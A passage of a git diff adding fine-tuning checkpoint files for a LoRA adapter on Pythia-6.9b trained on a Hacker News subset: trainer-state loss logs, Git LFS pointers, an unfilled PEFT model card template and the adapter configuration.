2.855, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.8370033502578735, + "learning_rate": 5.155555555555556e-05, + "loss": 2.1299, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.6736056804656982, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 1.8626277446746826, + "learning_rate": 5.037037037037037e-05, + "loss": 2.0745, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6694393157958984, + "eval_runtime": 43.7698, + "eval_samples_per_second": 22.847, + "eval_steps_per_second": 2.856, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9536994695663452, + "learning_rate": 4.918518518518519e-05, + "loss": 2.1134, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6763100624084473, + "eval_runtime": 43.7663, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.7951068878173828, + "learning_rate": 4.8e-05, + "loss": 2.0425, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6728081703186035, + "eval_runtime": 43.7651, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.907662272453308, + "learning_rate": 4.681481481481481e-05, + "loss": 2.0904, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6812336444854736, + "eval_runtime": 43.8021, + "eval_samples_per_second": 22.83, + "eval_steps_per_second": 2.854, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9190585613250732, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.1202, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.6716649532318115, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 2.1457583904266357, + "learning_rate": 4.444444444444445e-05, + "loss": 2.1332, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.677353620529175, + "eval_runtime": 43.7789, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.461280345916748, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.9693, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.7750632762908936, + "eval_runtime": 43.8409, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.8510210514068604, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.9194, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.771688938140869, + "eval_runtime": 43.8403, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.5339622497558594, + "learning_rate": 4.088888888888889e-05, + "loss": 1.9162, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.7754197120666504, + "eval_runtime": 43.8148, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.622448444366455, + "learning_rate": 3.970370370370371e-05, + "loss": 1.9598, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.771843671798706, + "eval_runtime": 43.8243, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.728793144226074, + "learning_rate": 3.851851851851852e-05, + "loss": 1.9611, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7712514400482178, + "eval_runtime": 43.8133, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.583333969116211, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9595, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7676312923431396, + "eval_runtime": 43.8113, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.4886419773101807, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9681, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.763570547103882, + "eval_runtime": 43.8166, + "eval_samples_per_second": 22.822, + "eval_steps_per_second": 2.853, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.656954526901245, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.864, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.811014175415039, + "eval_runtime": 43.831, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.2936909198760986, + "learning_rate": 3.377777777777778e-05, + "loss": 1.8078, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.8777899742126465, + "eval_runtime": 43.8033, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.134007692337036, + "learning_rate": 3.259259259259259e-05, + "loss": 1.8207, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.8566880226135254, + "eval_runtime": 43.8138, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0055992603302, + "learning_rate": 3.140740740740741e-05, + "loss": 1.8202, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.8746020793914795, + "eval_runtime": 43.821, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 3.008761405944824, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.854, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.856834888458252, + "eval_runtime": 43.8079, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.0921030044555664, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8381, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.8608105182647705, + "eval_runtime": 43.8102, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.2031877040863037, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8526, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.8591396808624268, + "eval_runtime": 43.8197, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 3.2067291736602783, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.8094, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.8479180335998535, + "eval_runtime": 43.8043, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 450 + }, + { + "epoch": 6.133333333333334, + "grad_norm": 3.353001117706299, + "learning_rate": 2.5481481481481484e-05, + "loss": 1.685, + "step": 460 + }, + { + "epoch": 6.133333333333334, + "eval_loss": 2.942011833190918, + "eval_runtime": 43.8062, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.853, + "step": 460 + }, + { + "epoch": 6.266666666666667, + "grad_norm": 3.2993152141571045, + "learning_rate": 2.4296296296296298e-05, + "loss": 1.7213, + "step": 470 + }, + { + "epoch": 6.266666666666667, + "eval_loss": 2.9439539909362793, + "eval_runtime": 43.8327, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 470 + }, + { + "epoch": 6.4, + "grad_norm": 3.5732359886169434, + "learning_rate": 2.3111111111111112e-05, + "loss": 1.7484, + "step": 480 + }, + { + "epoch": 6.4, + "eval_loss": 2.9356353282928467, + "eval_runtime": 43.7981, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 480 + }, + { + "epoch": 6.533333333333333, + "grad_norm": 5.271646976470947, + "learning_rate": 2.192592592592593e-05, + "loss": 1.7342, + "step": 490 + }, + { + "epoch": 6.533333333333333, + "eval_loss": 2.955838441848755, + "eval_runtime": 43.8068, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.853, + "step": 490 + }, + { + "epoch": 6.666666666666667, + "grad_norm": 5.032471656799316, + "learning_rate": 2.074074074074074e-05, + "loss": 1.7208, + "step": 500 + }, + { + "epoch": 6.666666666666667, + "eval_loss": 2.931419849395752, + "eval_runtime": 43.8221, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.852, + "step": 500 + }, + { + "epoch": 6.8, + "grad_norm": 3.4340333938598633, + "learning_rate": 1.9555555555555557e-05, + "loss": 1.7117, + "step": 510 + }, + { + "epoch": 6.8, + "eval_loss": 2.938490629196167, + "eval_runtime": 43.8201, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 510 + }, + { + "epoch": 6.933333333333334, + "grad_norm": 3.5259785652160645, + "learning_rate": 1.837037037037037e-05, + "loss": 1.7309, + "step": 520 + }, + { + "epoch": 6.933333333333334, + "eval_loss": 2.941317319869995, + "eval_runtime": 43.8308, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 520 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 8.52075743281152e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..77ce6dfb8a8035e937dc0baf207a56221ae151b9 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:f8f188354219a3a009695d88b4be2709cf112b2a026b0f9d44d59b4da4cc78a4 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..674135bf8b3d57c8596261d579672f06dd04c718 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:d872348e7e61514a9aa2c4990c3f57e5cd690ab34263dd1c806f8bc10a0eaac2 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..b0413aa128dc89fb63c7a74242ac1a6da3ecf5bf --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:e9436217a6dd3838565d7b9845d97ff2e933eb514cc6ac99465ebc3448de3312 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..3038016ab1789281fcb7570057f9ac7ff03feda9 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:67026c5b7b6af0a730215316d61a8dcdd8b26b784be7a50e23105aea365fc01d +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..bd0a33216c2ab6304b98c471526625f57b04512d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/trainer_state.json @@ -0,0 +1,828 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 7.066666666666666, + "eval_steps": 10, + "global_step": 530, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.5191502571105957, + "learning_rate": 5.274074074074074e-05, + "loss": 2.2045, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.606522798538208, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.8370033502578735, + "learning_rate": 5.155555555555556e-05, + "loss": 2.1299, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.6736056804656982, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 1.8626277446746826, + "learning_rate": 5.037037037037037e-05, + "loss": 2.0745, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6694393157958984, + "eval_runtime": 43.7698, + "eval_samples_per_second": 22.847, + "eval_steps_per_second": 2.856, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9536994695663452, + "learning_rate": 4.918518518518519e-05, + "loss": 2.1134, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6763100624084473, + "eval_runtime": 43.7663, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.7951068878173828, + "learning_rate": 4.8e-05, + "loss": 2.0425, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6728081703186035, + "eval_runtime": 43.7651, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.907662272453308, + "learning_rate": 4.681481481481481e-05, + "loss": 2.0904, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6812336444854736, + "eval_runtime": 43.8021, + "eval_samples_per_second": 22.83, + "eval_steps_per_second": 2.854, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9190585613250732, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.1202, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.6716649532318115, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 2.1457583904266357, + "learning_rate": 4.444444444444445e-05, + "loss": 2.1332, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.677353620529175, + "eval_runtime": 43.7789, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.461280345916748, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.9693, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.7750632762908936, + "eval_runtime": 43.8409, + "eval_samples_per_second": 22.81, + 